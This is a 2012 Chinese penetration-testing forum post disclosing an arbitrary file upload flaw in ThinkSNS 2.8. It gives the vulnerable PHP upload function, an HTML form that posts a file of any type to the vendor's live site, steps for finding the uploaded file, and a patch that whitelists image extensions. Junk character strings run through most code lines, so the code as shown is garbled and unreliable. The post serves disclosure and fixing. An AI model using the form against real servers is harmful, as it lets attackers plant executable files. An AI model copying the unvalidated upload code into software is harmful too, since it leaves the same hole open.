中国网络渗透测试联盟

标题: ThinkSNS 2.8任意文件上传漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-4 11:12
标题: ThinkSNS 2.8任意文件上传漏洞及修复
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
+ |  Z5 N0 ^8 J; S$ t6 j. J) e. Z. j
% O  o0 G7 w& ~# }; ~$ R, P" x
\api\StatusesApi.class.php. R  u/ w$ V6 `3 b' ~4 o5 G
$ d# h' A$ y7 H, C% g- ]3 m1 A1 x
function uploadpic(){, L; z5 t3 q7 K/ W& P2 o
      if( $_FILES['pic'] ){& \9 N1 R3 y0 S& j, e$ u& ?
     //执行上传操作7 `% u  l, Y! `& K
     $savePath =  $this->_getSaveTempPath();
' a, M/ g! D( M. l& L0 w     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);) c" e$ O  E& x; o1 Q8 A
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))4 @# O+ R% Z( z
       {
5 Q0 b5 z. d) q- }" C- H        $result['boolen']    = 1;  }1 h# T  ?0 C& d' ^! Q8 p$ g
        $result['type_data'] = 'temp/'.$filename;
* o5 V) b. Y4 D7 a, \5 r2 l        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;' C' ?, C4 ]1 H/ K  H
       } else {
2 q  l, e5 X' |; T$ Y        $result['boolen']    = 0;$ F4 o2 V5 L7 W" x* i5 o- ]% A
        $result['message']   = '上传失败';
1 c- Y: E9 I5 G       }6 l- g/ ~$ I. `5 X+ W; u. [, u$ [6 U5 [
     }else{1 Y/ ~5 R- W$ p
         $result['boolen']    = 0;2 i  W4 z) f/ e& U" q( Q& M; A2 p
         $result['message']   = '上传失败';) v/ K3 n7 r0 c3 Z$ o) O
     }, e7 M6 B% f2 @& ]7 ~/ r
return $result;
, V  g) s6 G: h! @    }
% O* A1 R! }* f  h9 G* Runloadpic()方法没有对文件类型进行验证% g9 o% T: @# E* q+ j

# ~8 K, E' q1 Y# H可以构建表单, 选择任意文件, 提交到4 v) J/ Y4 N1 l) ~
/index.php?app=w3g&mod=Index&act=doPost0 j8 n; r2 E5 A/ i7 }; k0 K

$ ], z+ @- z5 r在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)4 }" a  p5 {2 v6 s6 y/ j
* }+ C7 O9 z, \8 t5 z
$ r7 M! e. Y& b# W) E# w
在登录thinksns官方微博后,3 m: [) E* I, V5 v- O$ r7 ]
构建以下表单:
! v' y8 J( i( Q- E& g
4 z0 B0 J, c' Y3 i<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
: ]' g! J' n0 q+ j<textarea name="content">test</textarea>& M2 ~( D+ O  x1 }2 w7 B
file: <input id="file" type="file" name="pic" />0 S; Z8 t& Y) g' A9 R% v, S$ ~
<input type="submit" value="Post" />
8 d/ _) ]$ \9 P" d: |- |" _4 H2 M</form>5 N4 l, }9 P9 R0 p6 X  G$ t3 Z% ~
去掉缩略图的前缀(small_ )2 a+ j% }4 O. Q2 [% b
​修复方案:
9 c5 w* I( C: g% y& Q" Q2 n! ~6 u' W) `& B
' A8 |% _$ w2 ^7 j1 W' i' |
\api\StatusesApi.class.php
( |+ m1 b/ X; E" A$ B+ G5 B 7 U( @, X8 K( S$ c
function uploadpic(){- [+ Z* L7 x* \  Z' D. Y  P- W
     /**- Q) l* x# N6 k  S$ q
      * 20121018 @yelo
, \/ A* q" n( x7 @0 K7 l* x8 j      * 增加上传类型验证
, j& Q% ]  c3 b3 `9 ?* j1 b; V2 R      */: I( a" @; Z2 j& g0 R
     $pathinfo = pathinfo($_FILES['pic']['name']);) _7 O6 E8 A$ T$ f: F. c- P
     $ext = $pathinfo['extension'];
( {# A8 ?/ I" y+ k $allowExts = array('jpg', 'png', 'gif', 'jpeg');( C, A/ D" H& u4 f% U
4 e6 k" O' y! n' r5 I* g
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
! ?" x0 ?* B: {0 O* W
1 ^4 a- u3 C( l& i: Z     if( $uploadCondition ){0 z9 ]8 x4 |0 w$ B
     //执行上传操作
. W, Z/ ]; F9 g& z' ?: Z     $savePath =  $this->_getSaveTempPath();7 Z- O$ M7 G) u2 }. C6 l+ k
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
: |0 t/ p4 z% v    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))6 R( A  Z: o' J9 G" F4 a. T) |
       {; m% j' T  R8 Z6 f1 ?8 Y
        $result['boolen']    = 1;! I4 r( f' D% T( T  H
        $result['type_data'] = 'temp/'.$filename;. i# o# ?1 |  ?" K$ Q0 b( e6 _
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;$ O, a! b& a: E4 |0 n" g
       } else {+ d3 S4 ~+ x7 w7 Y- R
        $result['boolen']    = 0;
. o% `/ v3 ~) e+ m5 ~        $result['message']   = '上传失败';' T6 R. {- ?6 W9 g" N, F% R7 V
       }; q  O8 _' t- [/ @+ ^! E2 X
     }else{. {. |( f5 D  j/ c" Y! N4 z
         $result['boolen']    = 0;+ f- V/ C$ [) N8 J) g! O8 B
         $result['message']   = '上传失败';
5 ]1 y' H3 N! {     }
- e- {+ K* ~2 f$ p, k. Qreturn $result;! O  Y7 Y7 h7 Y9 ?) a
    }0 \+ V6 [5 z& U; P# t+ U( ^

# _6 e% [6 Z5 M
, i+ L2 d+ S0 \  C( Q1 Q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2